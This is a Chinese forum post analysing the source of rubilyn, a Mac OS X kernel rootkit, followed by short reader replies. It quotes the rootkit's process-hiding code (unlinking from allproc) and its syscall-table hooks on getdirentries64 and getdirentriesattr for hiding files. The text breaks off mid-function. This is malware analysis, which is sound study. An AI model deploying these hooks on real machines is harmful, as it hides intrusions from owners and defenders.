首页
社区
课程
招聘
6
[原创]MacOSX rootkit rubilyn 源码分析
发表于: 2013-1-3 21:56 12639

[原创]MacOSX rootkit rubilyn 源码分析

2013-1-3 21:56
12639

【标题】:MacOSX rootkit rubilyn 源码分析


【作者】:riusksk


【博客】:


【微博】:


【日期】:2013-01-01



1、隐藏进程



在mac osx上,每个进程的上下文都保存在proc结构中,而在allproc链表中就保存着所有进程proc结构的指针,通过allproc链表移除相应进程的proc结构可隐藏正在进行的进程,下面是rubilyn中关于隐藏进程的代码,但目测通过ps -p pid 仍可列出进程,因为它并没有移除进程hash列表pidhashtbl中相关的进程信息,导致可通过pid查找到进程。



/* modify allproc to hide a specific pid */


static int hideproc(int pid)


{


    struct proc* p;


    if(pid!=0){


        // lh.first 指向allproc链表中的第1个元素,而p_list.le_next指向下个proc结构


        for (p = my_allproc->lh_first; p != 0; p = p->p_list.le_next)


        {


            if(pid == p->p_pid)


            {


                if(hidden_p_count < MAX_HIDDEN_PROCESS)


                {


                    hidden_p[hidden_p_count]=p;


                    hidden_p_count++;   


                    my_proc_list_lock();


                    LIST_REMOVE(p, p_list);         // 移除p_list结构中关于p进程的元素


                    my_proc_list_unlock();


                }


            }


        }


    }


    return 0;


}



2、隐藏文件



为了对列出文件的相应系统函数进行挂钩,我们需要先对finder和ls所使用的函数进行进程跟踪,在mac上已经用Dtrace代替ktrace,在finder上主要是使用getdirentriesattr函数,而ls主要是使用getdirentries64,下面是用Dtrace分别对finder和ls的进程跟踪情况:



下面是 calltrace.d 脚本内容:



riusksk@macosx:/usr/include/sys$ cat ~/Reverse\ engineering/Dtrace/calltrace.d


pid$target:::entry


{


   ;


}


pid$target:::return


{


   printf("=%d\n", arg1);


}



下面是查看finder进程2841的调用函数:



riusksk@macosx:/usr/include/sys$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -p 2841 | grep getdir


dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 573227 probes



  2 1078881          getdirentriesattr:entry


  2 1363229         getdirentriesattr:return =1


……



下面是ls命令(64位系统)调用的函数:



riusksk@macosx:~$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -c ls | grep getdir


dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 28745 probes


dtrace: pid 3184 has exited


  2 271609          __getdirentries64:entry


  2 285894         __getdirentries64:return =1980


  2 271609          __getdirentries64:entry


  2 285894         __getdirentries64:return =0



因此,我们若想在finder和ls中隐藏文件,只要对这两个函数 getdirentriesattr 和 getdirentries64 (32位的为getdirentries)进行挂钩处理即可。在系统调用函数表中,主要是由sysent结构数组构成,每个sysent结构中都包括参数个数sy_narg,执行函数sy_call 这些重要数据。sysent结构如下:



struct sysent { /* system call table */


                int16_t sy_narg; /* number of args */


                int8_t sy_resv; /* reserved */


                int8_t sy_flags; /* flags */


                sy_call_t *sy_call; /* implementing function */


                sy_munge_t *sy_arg_munge32; /* system call arguments munger for 32-bit process */


                sy_munge_t *sy_arg_munge64; /* system call arguments munger for 64-bit process */


                int32_t sy_return_type; /* system call return types */


                uint16_t sy_arg_bytes; /* Total size of arguments in bytes for* 32-bit system calls */


        };



为了实现对上述系统函数的挂钩,通过修改相应函数sysent结构的sy_call来进行偷梁换柱,关于各系统函数的调用号和宏名均可在 /usr/include/sys/syscall.h中找到:



riusksk@macosx:/usr/include/sys$ cat syscall.h | grep getdir



#define        SYS_getdirentries  196


#define        SYS_getdirentriesattr 222


#define        SYS_getdirentries64 344



下面是rubilyn中对系统调用函数getdirentries64 和 getdirentriesattr的挂钩代码,将这两个函数替换为自定义的 new_getdirentries64  和 new_getdirentriesattr ,同时保存原函数地址方便获取目录信息并进行篡改:



        if(nsysent){


            table = find_sysent();


            if(table){


                /* back up original syscall pointers */   


                org_getdirentries64 = (void *) table[SYS_getdirentries64].sy_call;         // 保存原系统函数地址


                org_getdirentriesattr = (void *) table[SYS_getdirentriesattr].sy_call;


                /* replace syscalls in syscall table */


                table[SYS_getdirentries64].sy_call = (void *) new_getdirentries64;        // 替换原系统函数


                table[SYS_getdirentriesattr].sy_call = (void *) new_getdirentriesattr;



两个替换函数执行的操作有点类似,主要是移除指定文件的dirent结构,其中dirent结构原型如下:



struct dirent {


        __uint32_t d_fileno;         // 节点号


        __uint16_t d_reclen;        // 目录项长度


        __uint8_t  d_type;        // 文件类型


        __uint8_t  d_namlen;        // 文件名


   #if __BSD_VISIBLE


   #define MAXNAMLEN 255


        char d_name[MAXNAMLEN+1]; // 文件名


   #else


        char d_name[255+1];        // 文件名


   #endif


}



此处我们只看下 new_getdirentries64 函数,



/* hooked getdirentries64 and friends */


register_t new_getdirentries64(struct proc *p, struct getdirentries64_args *uap, user_ssize_t *retval)


{


    int ret;


    u_int64_t bcount = 0;


    u_int64_t btot = 0;


    size_t buffersize = 0;


    struct direntry *dirp;


    void *mem = NULL;


    int updated = 0;


    ret = org_getdirentries64(p,uap,retval); // 调用原函数获取目录信息


    btot = buffersize = bcount = *retval;    // 函数返回的字节数


    if(bcount > 0)


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 6
支持
分享
赞赏记录
参与人
雪币
留言
时间
伟叔叔
为你点赞~
2024-5-31 06:46
心游尘世外
为你点赞~
2024-5-31 03:39
QinBeast
为你点赞~
2024-5-31 03:30
飘零丶
为你点赞~
2024-4-2 00:59
shinratensei
为你点赞~
2024-2-3 03:24
PLEBFE
为你点赞~
2023-3-7 00:37
最新回复 (14)
雪    币: 2325
活跃值: (1048)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
2
泉哥各种跨平台啊~顶
2013-1-4 00:34
0
雪    币: 433
活跃值: (1885)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
3
初学者而已,呵呵……

PS:发在病毒版块的帖子怎么不会出现在论坛新帖里面?
2013-1-4 09:46
0
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
4
步子跨大了容易。。。。 哈哈
求两位高富帅资助点啊,才砸锅卖铁弄了台Android
2013-1-4 09:49
0
雪    币: 433
活跃值: (1885)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
5
一部android一百块就可以买到啊,搞个测试机而已嘛
2013-1-4 10:47
0
雪    币: 2558
活跃值: (4273)
能力值: ( LV13,RANK:540 )
在线值:
发帖
回帖
粉丝
6
mac,mac,mac,mac,mac......
2013-1-4 15:54
0
雪    币: 253
活跃值: (26)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
没兴趣,因为MAC市场占有率的确不高,而笔者这样的在MAC上已经算大牛了,还没完全隐藏,这样的就不想去研究了。只能说,大家可能兴趣都不大。
2013-1-4 21:50
0
雪    币: 822
活跃值: (380)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
8
顶泉哥,Mac上的病毒也慢慢开始多起来了。话说只hook $NoCancel系列函数的话不够完善啊,还有$Unix2003系列的,等等
2013-1-4 22:00
0
雪    币: 149
活跃值: (291)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
9
mac上的rootkit,顶一下。
2013-1-4 22:33
0
雪    币: 433
活跃值: (1885)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
10
还有很多可以绕过的,进程监控和网络监控,还有很多地方没挂钩过滤,其它端口和模块隐藏,也并没有对tcbinfo.listhead 和 modules 链表信息处理。目前网上没几个公开的mac rootkit,如果各位有的话,麻烦也分享下,有源码更好。
2013-1-5 00:25
0
雪    币: 1098
活跃值: (193)
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
11
好文章,顶泉哥。

陈兄对各OS平台都有深入的了解。期待陈兄爆些更猛的。
2013-1-5 02:53
0
雪    币: 107
活跃值: (424)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
偶是来膜拜泉哥的...

学习了..谢谢分享...
2013-1-5 05:57
0
雪    币: 2203
活跃值: (1021)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
好吧  最近确实有大批黑阔盯上mac了
2013-1-5 09:15
0
雪    币: 102429
活跃值: (201684)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
14
Thanks for share.
2013-1-6 01:43
0
雪    币: 27
活跃值: (122)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
15
mac都搞上了,泉哥
2013-1-7 00:13
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册